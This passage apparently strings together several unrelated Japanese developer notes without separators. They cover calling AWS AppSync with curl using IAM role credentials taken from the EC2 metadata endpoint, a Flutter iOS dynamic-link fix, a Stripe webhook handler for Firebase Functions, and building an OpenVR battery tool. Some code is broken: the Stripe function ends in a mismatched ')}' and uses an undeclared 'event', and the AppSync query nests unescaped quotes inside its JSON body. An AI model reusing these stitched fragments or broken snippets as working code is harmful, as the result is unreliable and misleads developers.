    1. [アクション]→[セキュリティ]→[IAMロールを変更]の順に押下
    1. 作成したロールを選択し、[IAMロールの更新]を押下

インスタンスを選択し、セキュリティタブから、IAMロールが設定されていることを確認できれば完了です。

# 環境変数の設定
リクエスト元のサーバに環境変数を設定します。

```shell
$ ROLE_NAME=`curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`
$ CRED=`curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/${ROLE_NAME}`
$ sudo yum -y install jq
$ AWS_ACCESS_KEY_ID=`echo $CRED | jq -r ".AccessKeyId"`
$ AWS_SECRET_ACCESS_KEY=`echo $CRED | jq -r ".SecretAccessKey"`
$ AWS_SESSION_TOKEN=`echo $CRED | jq -r ".Token"`
$ REGION="ap-northeast-1"
$ SERVICE="appsync"
```

- ``169.254.169.254`` にHTTPリクエストを送信することにより、自身に関するメタデータを取得できます。
- トークンの有効期限は、6~7時間です。


# コマンド例
## Query
### コマンド
```shell
$ curl -s "https://<カスタムドメイン>/graphql" \
-H "Content-Type: application/graphql" \
-H "X-Amz-Security-Token: ${AWS_SESSION_TOKEN}" \
--aws-sigv4 "aws:amz:${REGION}:${SERVICE}" \
--user "${AWS_ACCESS_KEY_ID}:${AWS_SECRET_ACCESS_KEY}" \
-d '{ "query": "query MyQuery { getData(id: "id1") { column } }" }'
```

### 設定値の説明
  - MyQuery：クエリの名称。自由に設定可。
  - getData：AppSyncで設定しているクエリの名称。
  - id：取得したいデータの主キーの名称。
  - id1：取得したいデータの主キーの値。
  - column：取得したいデータのカラム名。

## Mutation
### コマンド
```shell
$ curl -s "https://<カスタムドメイン>/graphql" \
-H "Content-Type: application/graphql" \
-H "X-Amz-Security-Token: ${AWS_SESSION_TOKEN}" \
--aws-sigv4 "aws:amz:${REGION}:${SERVICE}" \
--user "${AWS_ACCESS_KEY_ID}:${AWS_SECRET_ACCESS_KEY}" \
-d '{ "query":"mutation MyMutation($input1: CreateDataInput!)
{ createData(input: $input1) { id column } }",
"variables": { "input1": { "id": "id1", "column": "data" } } }'
```

### 設定値の説明
  - MyMutation：ミューテーションの名称。自由に設定可。
  - CreateDataInput：AppSyncで設定しているミューテーションの名称。
  - createData：AppSyncで設定しているミューテーションの名称。
  - id：登録したいデータの主キーの名称。
  - id1：登録したいデータの主キーの値。
  - column：登録したいデータのカラム名。
  - data：登録したいデータの値。
  
  下から2行目の``{ id column }``は戻り値です。ほしい値を設定してください。

# おわりに
  ```
  -d '{ "query": " <ここ> " }'
  ```
  「ここ」と記載した箇所は、基本的に AppSync のコンソール画面の「クエリ」と同じですので、画面上でクエリを作成してから「ここ」の箇所にペーストしてお使いいただければ楽だと思います。
Flutter iOSのdynamicを開くと、二重インスタンスが立ち上がる問題

### 問題

Flutterにdynamic linkを使っているが、iOSでそのdynamic linkを経由してbackgroundに待機しているアプリを開くと、
新しいインスタンスがたちがってしまう。
現象として、`HomeScreen`がもう一つ`Navigator stack`に`push`される。

Androidではこの問題発生しない

### 解決方法

`info.plit`の`FlutterDeepLinkingEnabled`を`False`にするか、削除することで解決。

どうやら Flutter iOSで設定しているdeeplinkがdynamic linkと独立にアプリを起動しているらしい。
詳しい理屈はよくわかっていない。
Firebase FunctionsでStripeのWebhookを動かす

Stripeは、会員登録の状態や決済のオーソリ状態をWebhookで受信して、所有するデータの反映を行う場面が多々あります。

Stripeの開発者ダッシュボードは優れたコード生成支援があり、必要なWebhookのイベントタイプを選択追加するだけで、NodeのExpressを使ったサンプルコードを生成してくれます。

ただし、Firebase FunctionsでWebhookを受信したい場合には、Stripeがコード生成支援しているコードだとrequest.bodyが合わず、stripe.webhooks.constructEventが利用できません。解決方法は、request.bodyではなく、request.rawBodyを参照します。


```
exports.stripWebhook= functions.region('asia-northeast1').https.onRequest(async (request, response) => {
  const stripe = require('stripe');
  const sig = request.headers['stripe-signature'];
  const endpointSecret = "[あなたのエンドポイントシークレットキー]";
  try {
    event = stripe.webhooks.constructEvent(request.rawBody, sig, endpointSecret);
    console.log("endpointSecret:", "OK!" )
  } catch (err) {
    console.log("error:",err.message )
    response.status(400).send(`Webhook Error: ${err.message}`);
    return;
  }
  // Handle the event
  switch (event.type) {
    case 'payment_intent.amount_capturable_updated':
      var paymentIntent = event.data.object;
      break;
    default:
      console.log(`Unhandled event type ${event.type}`);
  }
  response.send();
  return
)}
```
バッテリーの残量を中から確認したい

多分N番煎じの情報だと思うが一通り確認したので。
外部からトラッカーのバッテリーを確認したい（Neosとか）。

有名なものとして[VIVEBatteryInfo](https://kleusbalut.booth.pm/items/969809)があるけども公開配布版では4個以上つなぐことは想定されていなさそう。有償版の更新情報を見る限り、5台以上つなぐと映像が崩れるらしい。

色々調べてたらOVRToolsからバッテリーの残量含めた各種情報を確認できるツールがあった。
https://github.com/OVRTools/OpenVRDeviceBattery

手ビルドする必要あるけどもgithub/workflowsも用意されているので面倒な場合はそちらを少し修正すれば使えそう。

## 手ビルドする際の手順
1. Visual Studio 2022 をインストール(多分BuildToolsだけでOK。CUIが面倒ならCommunity入れてね)
   ```
   # BuildToolsの場合
   winget install Microsoft.VisualStudio.2022.BuildTools
   
   # Community(全体)
   winget install Microsoft.VisualStudio.2022.Community
   ```
2. Git Cloneするか、Codeから[Download Zip]
   ```
   git clone https://github.com/OVRTools/OpenVRDeviceBattery.git
   ```
3. Developer Powershell for VS 2022をスタートメニューより起動し、展開・クローンしたディレクトリに移動後下を入力
   ```powershell
   msbuild OpenVRDeviceBattery.sln /t:Build /p:Configuration=Release /p:Platform="Any CPU"
   Compress-Archive -Force "OpenVRDeviceBattery\bin\Release\*" "OpenVRDeviceBattery.zip"
   ```
ビルド済みデータが生成されるので /bin/Releaseにあるファイル群をコピーするか、生成したzipを適当なところで解凍して使う。

:::note info
どちらでも問題ないですが、openvr_apiを使用しているのでdllも一緒にコピーすることだけ忘れずに。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/147334/c7873f56-8b92-c28c-9beb-e0abe8a22a32.png)
:::

実際の動作イメージはこんな感じ。それぞれのトラッカー以外にもベースステーションの動作状況やHMDの状況も取れる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/147334/112c7c16-9f5b-ea15-2439-3e71c1bb1242.png)

HMDについても情報が取れる（今では使われていなさそうなパラメータもちらほら）。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/147334/f7630f9b-5824-345f-8edf-69f4aeb9cf57.png)


それぞれのトラッカーについてもこんな感じ。ModelNumber/SerialNumberを見ればよさそう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/147334/cd6efb67-3af1-6cef-d55a-828761e37909.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/147334/613b8da6-f14b-6146-b61c-f277e30dcf0e.png)

ざっくりと見た感じ、ここら辺の情報をまとめてWebSocketで送ればよさそう。
```
Prop_SerialNumber_String
Prop_DeviceIsWireless_Bool
Prop_DeviceIsWireless_Bool
Prop_DeviceBatteryPercentage_Float
```

P.S.　OpenXRで取ろうとしたけど定義上なさそう。残念。
（ざっくりと[Spec](https://registry.khronos.org/OpenXR/specs/1.0/html/xrspec.html)と[ヘッダ](https://github.com/KhronosGroup/OpenXR-SDK/tree/main/include/openxr)読んだだけなのでもしあったら教えてください）。